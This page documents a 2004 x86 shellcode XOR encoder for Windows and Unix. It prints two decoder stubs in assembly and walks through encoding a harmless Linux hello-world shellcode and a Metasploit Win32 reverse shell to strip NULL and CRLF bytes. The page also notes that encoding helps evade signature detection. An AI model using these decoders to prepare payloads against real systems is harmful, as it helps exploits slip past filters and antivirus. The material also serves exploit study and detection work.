Encoder - x86 Windows/Unix shellcode encoder

Index

Download

Both packages include source code for Encoder (encoder.c) and a companion program loader.c which can be used to test shellcode files. Encoder.zip also includes precompiled versions of both programs for Win32.

Introduction

Encoder tries to eliminate NULLs and other user-defined characters out of shellcode. It uses a simple XOR and includes a built-in decoder routine for x86. It is usually possible to remove NULL characters in the first place by using the right register size, etc. but not always. And what about other characters? There may be a need to hide some characters, maybe to avoid signature based recognition or something. And finally, encoding the shellcode obscures all clear-text in the shellcode nicely.

About the decoders

Currently, two different decoders are available. It is very important thing to realize that the character(s) you are trying to get rid of might be in decoder itself! In that case, the program gives a warning like "WARNING: 0x34 found in decoder routine". You have some options left: try to change the decoder register in encoder.c (#define REGISTER "eax") Or, you can try the other decoder or consider if the character is not even worth wiping out. Both decoders are at least NULL-free.

FNSTENV XOR decoder

This decoder is a slightly modified version of Metasploit x86 FNSTENV XOR Byte Decoder.
[BITS 32]

global _start

_start:

fabs
fnstenv [esp]
pop edx
pop edx
pop edx
pop edx
sub dl, -25  ; offset from fabs -> xor buffer

short_xor_beg:
    xor ecx,ecx
    sub cx, -0x15F ; size of xor'd payload

short_xor_xor:
    xor byte [edx], 0x99 ; the byte to xor with
    inc edx
    loop short_xor_xor

shellcode:
db ...........................

Jump/call decoder

This decoder is a modified version of decoder used in Kungfoo project
[BITS 32]

global _start

_start:
	jmp short getdata		; Get data pointer
begin:

  	pop ebx                   	; Pop the data address
	xor ecx,ecx			; Set up loop counter
	sub cx, -0x15F 			; size of data payload

decode:
	xor byte [ebx], 0x99		; XOR
	inc ebx				; Increment data address
	loop decode			; Loop back to decode if cx > 0
	jmp short codestart		; Jump into decoded code


getdata:
	call begin			; Push the address of data in stack and jump
					; to label begin

codestart:                  		; This is where the XOR'ed shellcode begins
db ..........................

Unix example

Let us consider the following Linux asm code.
;
; hello.asm -- simple non-optimized Linux/x86 shellcode
; Compile: nasm -f bin -o hello.s hello.asm
;

[BITS 32]

global _start

_start:
        jmp short data  ; Jump to our data section

begin:
        mov eax, 4      ; syscall #4 = write()
        mov ebx, 1      ; stdout
        pop ecx         ; Pop the data address in ecx
        mov edx, 15     ; 15 bytes of data
        int 0x80

        mov eax, 1      ; syscall #1 = exit()
        mov ebx, 0      ; status = 0
        int 0x80

data:
        call begin      ; Call will return our data address

db "Hello, hacker!", 0x0a

NASM produces the following shellcode:
$ hexdump hello.s 
0000000 1eeb 04b8 0000 bb00 0001 0000 ba59 000f
0000010 0000 80cd 01b8 0000 bb00 0000 0000 80cd
0000020 dde8 ffff 48ff 6c65 6f6c 202c 6168 6b63
0000030 7265 0a21                              
0000034
Of course, we should eliminate all those NULLs in the code by avoiding the use of 32-bit registers. For example, instead of "mov eax,4", do "xor eax,eax; mov al,4". But in our example, the NULLs are welcome because we now have the opportunity to test Encoder.

The output (bolded) is just what we expected:

$ ./loader hello.s 
Loading shellcode from "hello.s"...
Hello, hacker!

Now, let us try to remove NULLs in the shellcode:
$ ./encoder hello.s 0x00 > h.s

Encoder v0.5 - Encode NULLs and other characters out of shellcode
Copyright (c) Jarkko Turkulainen 2004. All rights reserved.
Read the file encoder.c for documentation.

Using FNSTENV XOR decoder
Using register eax for decoder
Removing bytes 0x00
Reading shellcode from "hello.s"
Using 0x02 for XOR
Ready
Encoder has chosen byte 0x02 for XOR (see the bolded output above). Let's check the file:
$ hexdump h.s     
0000000 e1d9 34d9 5824 5858 8058 e7e8 c931 8166
0000010 cce9 80ff 0230 e240 e9fa ba1c 0206 0202
0000020 03b9 0202 5b02 0db8 0202 cf02 ba82 0203
0000030 0202 02b9 0202 cf02 ea82 fddf fdfd 674a
0000040 6e6e 2e6d 6a22 6163 6769 2370 0008     
000004d
Looking good.. But is it still working?
$ ./loader h.s 
Loading shellcode from "h.s"...
Hello, hacker!

Windows example

Now let's try some real world example. Metasploit.com Win32 Reverse Shell is a good example of functional Win32 shellcode. As a reference implementation, it contains some NULL characters when compiled out of the box. Easy..
C:\hack>encoder win32_reverse.s 0x00 > w.s

Encoder v0.5 - Encode NULLs and other characters out of shellcode
Copyright (c) Jarkko Turkulainen 2004. All rights reserved.
Read the file encoder.c for documentation.

Using FNSTENV XOR decoder
Using register eax for decoder
Removing bytes 0x00
Reading shellcode from "win32_reverse.s"
Using 0x03 for XOR
Ready

OK.. No NULLs there anymore. But unfortunately, Encoder chose a byte 0x03 for XOR and that might produce some other unwelcome effects.

See that unfamous 0D 0A in hex dump (CRLF)? That might break some things. We must use some other XOR value. That's where Encoder comes in picture. You don't have to worry about the XOR byte, just tell the program which bytes you want out of the shellcode. New try:

C:\hack>encoder win32_reverse.s 0x00,0x0a,0x0d > w.s

Encoder v0.5 - Encode NULLs and other characters out of shellcode
Copyright (c) Jarkko Turkulainen 2004. All rights reserved.
Read the file encoder.c for documentation.

Using FNSTENV XOR decoder
Using register eax for decoder
Removing bytes 0x00 0x0A 0x0D
Reading shellcode from "win32_reverse.s"
Using 0x13 for XOR
Ready

Finally, XOR byte 0x13 produces a desired shellcode:



Links



Feedback

Bug reports, discussion, etc.: Jarkko Turkulainen Sorry,
 you have to write it!.


[Back to Shellcode page]